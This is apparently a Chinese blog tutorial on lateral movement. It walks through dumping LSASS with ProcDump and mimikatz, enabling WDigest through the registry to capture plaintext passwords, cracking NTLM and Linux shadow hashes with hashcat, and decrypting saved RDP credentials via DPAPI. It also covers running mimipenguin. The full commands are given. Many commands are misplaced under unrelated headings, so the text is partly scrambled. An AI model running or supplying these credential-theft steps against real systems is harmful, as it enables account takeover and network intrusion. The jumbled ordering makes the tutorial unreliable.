Procdump64.exe -accepteula -ma lsass.exe lsass.dmp
内网横向移动—Win&Linux&内存离线读取&Hashcat破解&RDP&SSH存储提取
- 引言
在探讨SSH密钥问题之前,我想先总结一下关于Linux系统横向移动的方法。然而,目前关于Linux系统横向移动的资料相对较少,而且很多相关知识点总结得有些混乱。因此,我决定先暂停对Linux横向移动的总结。不过,我仍然会提及一些关于Linux横向移动的内容,因为从系统角度来看,Linux系统中可利用的横向移动方式确实有限,通常是利用安装在Linux系统中的中间件软件等来实现横向移动。
- Windows系统密码提取
在Windows Server 2012及更高版本中,为了防止明文密码泄露,微软推出了一个补丁KB2871997,关闭了wdiges功能。这意味着在内存缓存中,默认不存储明文密码。
2.1. 在线读取
在线读取实际上是使用CS自带的工具进行哈希抓取和读取,但是只能读取到哈希值,而不是明文密码。同时,可以看到密码位置全部为空,这是因为Windows Server 2012的版本问题导致无法读取明文密码。
2.2. 离线读取
通常情况下,使用mimikatz工具可能会被杀毒软件拦截,但是我们可以使用微软官方的工具进行读取,因为这个工具是微软的官方工具,所以不会被杀毒软件拦截。
ProcDump
mimikatz
2.2.1. 无存储读取
无存储读取与上述类似,即在正常读取的情况下无法获取明文密码。
2.2.1.1. 读取文件
首先需要将工具上传到Windows Server 2012上运行,然后导出运行后的文件,并使用mimikatz进行读取。
mimikatz.exe "sekurlsa::minidump lsass.dmp"
sekurlsa::logonPasswords full
2.2.1.2. 本地解密
执行上述命令后,当前目录会出现一个名为”lsass.dmp”的文件(文件名可以自定义,但后缀必须一致)。然后我们再运行本地文件,导入密码并进行读取,这样就避免了被杀毒软件拦截的风险。不过需要注意的是,这里仍然无法读取明文密码,只能获取哈希值。
reg add HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1
2.2.2. 有存储读取
有存储读取和无存储读取的操作类似,只是需要管理员登录。由于我演示时使用的是Windows Server 2012作为域控制器,无法使用激活管理员登录,所以无法进行演示。总的来说,操作是一样的。
2.3. 解决高版本
前面提到高版本无法读取明文密码,那么我们该如何解决呢?实际上,我们可以通过修改注册表来实现,然后强制锁屏,等待管理员重新登录账号密码。
2.3.1. 修改注册表
https://www.somd5.com/
https://www.cmd5.com/
2.3.2. 重新登录
锁屏后重新登录,然后进行密码抓取,可以看到成功获取到密码。
2.4. HASH破解
当然,我们也可以对HASH密码进行破解。
2.4.1. 在线破解
在线破解可以通过一些在线网站进行,但有些网站需要付费。
hashcat.exe -a 0 -m 1000 hash.txt pass.txt
2.4.2. 本地破解
本地破解需要准备一个庞大的密码本,并且在某些情况下需要强大的CPU和GPU进行计算。hashcat是一款基于显卡的暴力破解密码工具,几乎支持所有常见的加密方式,并且支持各种密码组合。它在Kali Linux中自带,并且支持Windows和Mac平台。这里只是简单介绍一下用法,具体用法可以自行搜索或者以后写一篇专门的总结。
hashcat
2.4.2.1. 字典破解
需要将HASH值复制到工具中,并准备好密码本,然后根据计算机性能进行破解。
-m 密文类型
-a 破解类型
?l 小写
?s 符号
?d 数字
hashcat.exe -a 3 -m 1000 579da618cfbfa85247acf1f800a280a4 ?l?l?l?l?l?s?d?d?d
2.4.2.2. 暴力破解
暴力破解可以成功,但需要超高的CPU和GPU计算能力,尤其是对于一些长且复杂的密码。下面是密码的组合方式。需要知道密码的位数、第一位是大写还是小写、第二位是数字还是字母等。实际上,在实战中很难确定密码的组合方式,比如我的密码是admin@123,这只是理想化的情况。
cmdkey /list
如果不允许上述测试密码的记录,可以将其删除。
2.5. RDP凭据抓取
RDP有一个保存凭据的选项,通常管理员为了方便会勾选凭据。
2.5.1. 查看连接记录
通过命令可以查看连接记录。
dir /a %userprofile%appdatalocalmicrosoftcredentials*
mimikatz dpapi::cred /in:C:UsersAdministratorappdatalocalmicrosoftcredentials6090C0FC3FE42D73866869883B167718
2.5.2. 查找本地的Credentials
记录下这里的值。
2.5.3. 查找guidMasterKey值
需要记录目标Credentials的guidMasterKey值,同时注意路径要根据实际情况修改,不要直接复制粘贴,否则会出错。
mimikatz sekurlsa::dpapi
mimikatz dpapi::cred /in:C:UsersAdministratorappdatalocalmicrosoftcredentials6090C0FC3FE42D73866869883B167718 /masterkey:8a5b068bf179d5617421dc04bd2b310d319badf9d79421e7c0a9bf685317f23b1f7be9666983ca3af76939256c2267ba0d4ab600962e4940fcf09be61d101c1d
chmod 755 ./mimipenguin.sh
./mimipenguin.sh
2.5.4. 记录MasterKey
需要记录guidMasterKey对应的MasterKey。
2.5.5. 解密票据
需要结合上述命令进行操作。
- Linux系统密码提取
关于Linux系统的密码提取,实际上是比较少见的,而且成功率也较低。
3.1. 密码读取
这个操作并不一定成功,我在运行后一直没有反应。
mimipenguin
cat /etc/shadow
linux sha512crypt $6$, SHA512 (Unix)加密方式:
hashcat -m 1800 sha512linux.txt p.txt
linux sha256crypt $5$, SHA256 (Unix)加密方式:
hashcat -m 7400 sha256linux.txt p.txt
linux下md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)加密方式:
hashcat -m 500 linuxmd5.txt p.txt
inux下bcrypt $2*$, Blowfish加密方式:
hashcat -m 3200 linuxmd5.txt p.txt
3.2. 密码破解
密码破解与上述Windows密码破解类似。
3.2.1. 判断密码类型
通过查看root加密方式来判断密码类型,但我无法确定我的密码y是什么加密方式。
判断加密类型
3.2.2. 加密形式破解